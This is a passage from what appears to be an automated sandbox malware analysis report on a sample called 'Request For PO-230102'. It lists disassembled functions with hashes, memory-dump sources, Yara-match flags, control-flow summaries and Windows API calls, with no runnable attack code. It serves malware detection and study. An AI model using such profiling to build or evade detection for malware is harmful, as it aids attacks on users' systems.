                                                                                                                                                                                                            • Opcode ID: 8d1e3aef3fa6c0c960e85f2596305ba08debdc88199295c9512731a16715cfde
                                                                                                                                                                                                            • Instruction ID: b80dbb9a21f128c9a447c68ac2a862c4d73916438f4d5fc71643ed023c7e1f3b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8d1e3aef3fa6c0c960e85f2596305ba08debdc88199295c9512731a16715cfde
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A0900221242441525945B15844045074046F7E1251799C416A2814D50CC666D96AD721
                                                                                                                                                                                                            Function 015E2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: efb4a6bc95a297836f6fdb6fabc0d37667fee6a7593bdab116ce7f6aa1d14ae7
                                                                                                                                                                                                            • Instruction ID: ece4a825972cd39c39a6e94d1a7c764132b1db88d7506ed9f10b1d064ea22799
                                                                                                                                                                                                            • Opcode Fuzzy Hash: efb4a6bc95a297836f6fdb6fabc0d37667fee6a7593bdab116ce7f6aa1d14ae7
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2A90023120140413D511715845047070049E7D1251F99C816A1824958DD796CA66A221
                                                                                                                                                                                                            Function 015E2C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: 2065394cf928cf7415f4b01ea8a3877ef8c8d20b93835d61c8f0268b9b81fd9d
                                                                                                                                                                                                            • Instruction ID: 4148e3c0adba99ffc56f1c333c8b480ed35d19aec21455f542ce30763c25dd75
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2065394cf928cf7415f4b01ea8a3877ef8c8d20b93835d61c8f0268b9b81fd9d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6990023120148802D5107158840474A0045E7D1311F5DC815A5824A58DC7D5C9A57221
                                                                                                                                                                                                            Function 015E2CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: 7abb66835b867c8b763445104fda1915eb056d18efa8453181a0ed38e5ece5ef
                                                                                                                                                                                                            • Instruction ID: 313da631dc90c17d997dfa02c949b8b6be696d450951c6a56377f47678f56c87
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7abb66835b867c8b763445104fda1915eb056d18efa8453181a0ed38e5ece5ef
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CB90023120140402D500759854086460045E7E1311F59D415A6424955EC7A5C9A56231
                                                                                                                                                                                                            Function 015E2F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: 37ac3e1f4f9a80171be43d2a2abddf4151378c2b9eb048b4e322f8dc68ba4762
                                                                                                                                                                                                            • Instruction ID: 17f1f69718f42ac034ccc462c7b7353c955d158648946190f5b963f55bf28dbc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 37ac3e1f4f9a80171be43d2a2abddf4151378c2b9eb048b4e322f8dc68ba4762
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1B90026134140442D50071584414B060045E7E2311F59C419E2464954DC759CD666226
                                                                                                                                                                                                            Function 015E2FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: 6146b53a90b08ef6d08745c93f030a5986adafe104908404ea0ad90fd539c3b0
                                                                                                                                                                                                            • Instruction ID: 6ae5b225b006c9b8aff1df121d1ff3b3d29e0d885b0966efc88e9848db14d20e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6146b53a90b08ef6d08745c93f030a5986adafe104908404ea0ad90fd539c3b0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3A900221211C0042D60075684C14B070045E7D1313F59C519A1554954CCA55C9755621
                                                                                                                                                                                                            Function 015E2F90 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: fd060379eb2f1bb65f213dadb96c224c123d0bb716caf54e3d2a8180961166e0
                                                                                                                                                                                                            • Instruction ID: cda687ccf70b5fdc325429613bdf85ff642804ccbdd53906eb6502b118c3bc38
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fd060379eb2f1bb65f213dadb96c224c123d0bb716caf54e3d2a8180961166e0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E890023120180402D5007158481470B0045E7D1312F59C415A2564955DC765C9656671
                                                                                                                                                                                                            Function 015E2FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: de2751416e27a85890c2dac091f4e74a46b91892be33028c96814616202a159c
                                                                                                                                                                                                            • Instruction ID: 45cf80b88893e66c4f6b7bf1b928fb144a20d4451cf405e7ab94a075b3325e85
                                                                                                                                                                                                            • Opcode Fuzzy Hash: de2751416e27a85890c2dac091f4e74a46b91892be33028c96814616202a159c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C6900221601400424540716888449064045FBE2221759C525A1D98950DC699C9795765
                                                                                                                                                                                                            Function 015E2E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: 099f26de2676e9cac673516a4c2a52fd6440c2869945f9bc5eee4e2b922badf3
                                                                                                                                                                                                            • Instruction ID: df5e6c92caff67f8038d4ca0bdf73e1cc1f0d34029727014a295ea2398930705
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 099f26de2676e9cac673516a4c2a52fd6440c2869945f9bc5eee4e2b922badf3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5990022160140502D50171584404616004AE7D1251F99C426A2424955ECB65CAA6A231
                                                                                                                                                                                                            Function 015E2EA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: fdc87de22c98723c0a25403933ba7f987e3a700f6b22cf9a07de228556e39139
                                                                                                                                                                                                            • Instruction ID: 2181060ba03b64e4a85f407e5eb14a0ccd8b2a3505a2c6f6d21b4081caae3fd9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fdc87de22c98723c0a25403933ba7f987e3a700f6b22cf9a07de228556e39139
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5F90027120140402D540715844047460045E7D1311F59C415A6464954EC799CEE96765
                                                                                                                                                                                                            Function 00409AA0 Relevance: .1, Instructions: 92COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 853c01b66d24f589df6b89bde03758f04558a5ab365de05a0f584bb7a63a4c44
                                                                                                                                                                                                            • Instruction ID: 4f20240aff7f2371bb6e5cfcebb6b85206ba00274494e6c7b70a30fa46eb6871
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 853c01b66d24f589df6b89bde03758f04558a5ab365de05a0f584bb7a63a4c44
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 48213CB2D4420957CB25D664AD52BFF737CAB54314F04007FE949A3182F638BF498BA6
                                                                                                                                                                                                            Function 0041A5F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 3 41a5f0-41a621 call 41af20 RtlAllocateHeap
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(&EA,?,00414C9F,00414C9F,?,00414526,?,?,?,?,?,00000000,00409CE3,?), ref: 0041A61D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AllocateHeap
                                                                                                                                                                                                            • String ID: &EA
                                                                                                                                                                                                            • API String ID: 1279760036-1330915590
                                                                                                                                                                                                            • Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                                                                                                                                                                                            • Instruction ID: 65e1271fa0e6f293e5ca7d904ec396d69fb6d51de338ced040ab1bfa87458b74
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1DE012B2200208ABDB14EF99DC41EA777ADAF88668F118559BA085B242C630F9118AB0
                                                                                                                                                                                                            Function 004082D3 Relevance: 1.6, APIs: 1, Instructions: 62threadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 201 4082d3-4082e7 202 4082e9-4082fd call 41b710 201->202 203 40831e-40835a call 41be20 call 41c9c0 call 40ace0 call 414e40 201->203 214 40835c-40836e PostThreadMessageW 203->214 215 40838e-408392 203->215 216 408370-40838a call 40a470 214->216 217 40838d 214->217 216->217 217->215
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: MessagePostThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1836367815-0
                                                                                                                                                                                                            • Opcode ID: fa219bae15b0da85c67c1ee57d7a5492c2843938ffc609705adf7c38e76ccc51
                                                                                                                                                                                                            • Instruction ID: cccecc87c1ea1b2e49a02ea573b714a3824719a0686cf2f5ae3b0575679c9a49
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fa219bae15b0da85c67c1ee57d7a5492c2843938ffc609705adf7c38e76ccc51
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1F1108B2940328ABDB11A6549C02FEE3358AB84B55F05016EFF44BB2C1DBBD6D0547F5
                                                                                                                                                                                                            Function 00408309 Relevance: 1.6, APIs: 1, Instructions: 56threadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 220 408309-40835a call 41be20 call 41c9c0 call 40ace0 call 414e40 230 40835c-40836e PostThreadMessageW 220->230 231 40838e-408392 220->231 232 408370-40838a call 40a470 230->232 233 40838d 230->233 232->233 233->231
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: MessagePostThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1836367815-0
                                                                                                                                                                                                            • Opcode ID: 2c69c3419cb1d5e4418932444e8ffbfd0296bf9a379bc45bb6b1a052704e6f0b
                                                                                                                                                                                                            • Instruction ID: da53683470e229f3deabd99abb76fcc4fe04895a6951e78cd3bde030695561bd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2c69c3419cb1d5e4418932444e8ffbfd0296bf9a379bc45bb6b1a052704e6f0b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8D012871A80318BBE720A6908C43FFE772C5B41B44F04015EFF04BA1C2D6A8290543EA
                                                                                                                                                                                                            Function 00408310 Relevance: 1.6, APIs: 1, Instructions: 55threadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 236 408310-40835a call 41be20 call 41c9c0 call 40ace0 call 414e40 246 40835c-40836e PostThreadMessageW 236->246 247 40838e-408392 236->247 248 408370-40838a call 40a470 246->248 249 40838d 246->249 248->249 249->247
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: MessagePostThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1836367815-0
                                                                                                                                                                                                            • Opcode ID: 6793861beeebbadff428f1e0055fcae04fb265a346085d9c044c4ec0df2940a0
                                                                                                                                                                                                            • Instruction ID: a0f03ca10d03d1d5c38d3c187be8154ddc7636efa3ebbcfd239e67dddfad06e3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6793861beeebbadff428f1e0055fcae04fb265a346085d9c044c4ec0df2940a0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B4018471A8032877E720A6959C43FFE776C6B40B54F05012AFF04BA1C1E6A8690546EA
                                                                                                                                                                                                            Function 0041A782 Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 276 41a782-41a7aa call 41af20 278 41a7af-41a7c4 LookupPrivilegeValueW 276->278
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1C2,0040F1C2,0000003C,00000000,?,00409D55), ref: 0041A7C0
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: LookupPrivilegeValue
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3899507212-0
                                                                                                                                                                                                            • Opcode ID: 6a4f472659cb80a7cb18072fc4a2f20237858cfeaddc240797383a312f94a6be
                                                                                                                                                                                                            • Instruction ID: ec21d61b55864976568eadb485c386ae057cc9e8f9e3017aea6482977b845cb1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6a4f472659cb80a7cb18072fc4a2f20237858cfeaddc240797383a312f94a6be
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C9E06DB5600205ABD620DF69DC80EE737AE9F58254F128165FA0DEB241DA39E8518BB4
                                                                                                                                                                                                            Function 0041A630 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 282 41a630-41a661 call 41af20 RtlFreeHeap
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RtlFreeHeap.NTDLL(00000060,00409CE3,?,?,00409CE3,00000060,00000000,00000000,?,?,00409CE3,?,00000000), ref: 0041A65D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FreeHeap
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3298025750-0
                                                                                                                                                                                                            • Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                                                                                                                                                                                            • Instruction ID: a31e03847b69acb9206512889bce5d114748d47cfafea9ced6338f279cce3475
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 64E04FB12002046BD714DF59DC45EE777ADEF88754F014559FD0857241C630F910CAF0
                                                                                                                                                                                                            Function 0041A790 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 285 41a790-41a7a9 286 41a7af-41a7c4 LookupPrivilegeValueW 285->286 287 41a7aa call 41af20 285->287 287->286
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1C2,0040F1C2,0000003C,00000000,?,00409D55), ref: 0041A7C0
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: LookupPrivilegeValue
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3899507212-0
                                                                                                                                                                                                            • Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                                                                                                                                                                                            • Instruction ID: b8658252b81b08ed33e4a874e4d8f80b0614426e32f2ee3a7d9107b08e04f012
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9EE01AB12002086BDB10DF49DC85EE737ADAF88654F018155BA0857241C934E8118BF5
                                                                                                                                                                                                            Function 0041A670 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A698
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ExitProcess
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 621844428-0
                                                                                                                                                                                                            • Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                                                                                                                                                                                            • Instruction ID: 94fb8da58e6992106aa2b0ab061ea4c6965e877b66759b154152d16d38dd5c99
                                                                                                                                                                                                            • Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B9D017726002187BD620EB99DC85FD777ACDF487A4F0180AABA1C6B242C531FA108AE1
                                                                                                                                                                                                            Function 015E2C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: 7b3ed69e72735e8526f9528bac7897cf54025084d5e17d934d9388216d66b734
                                                                                                                                                                                                            • Instruction ID: 932965a108c9d8be306911566dc32ef95921709c4ffc900eafbba808685d1c03
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7b3ed69e72735e8526f9528bac7897cf54025084d5e17d934d9388216d66b734
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 85B02B31C015C0C5DE01F360860C70B3940B7C0300F19C021D3030A41F4338C0E0E271

                                                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                                                            Function 01622349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                                            • API String ID: 0-2160512332
                                                                                                                                                                                                            • Opcode ID: 77e68b103c96231b87f5e84bff1f8db5e2bf77184be205c06964e0695fa8045b
                                                                                                                                                                                                            • Instruction ID: fe97975145bed24bee48efd9915bee2253ff62bc66cb00512301847b3a636a50
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 77e68b103c96231b87f5e84bff1f8db5e2bf77184be205c06964e0695fa8045b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3A929D71A08B529FE721DE28CC90B6BB7E8BB88750F04491DFA949B350D774E844CF92
                                                                                                                                                                                                            Function 015D8620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON
                                                                                                                                                                                                            Download Yara Rule
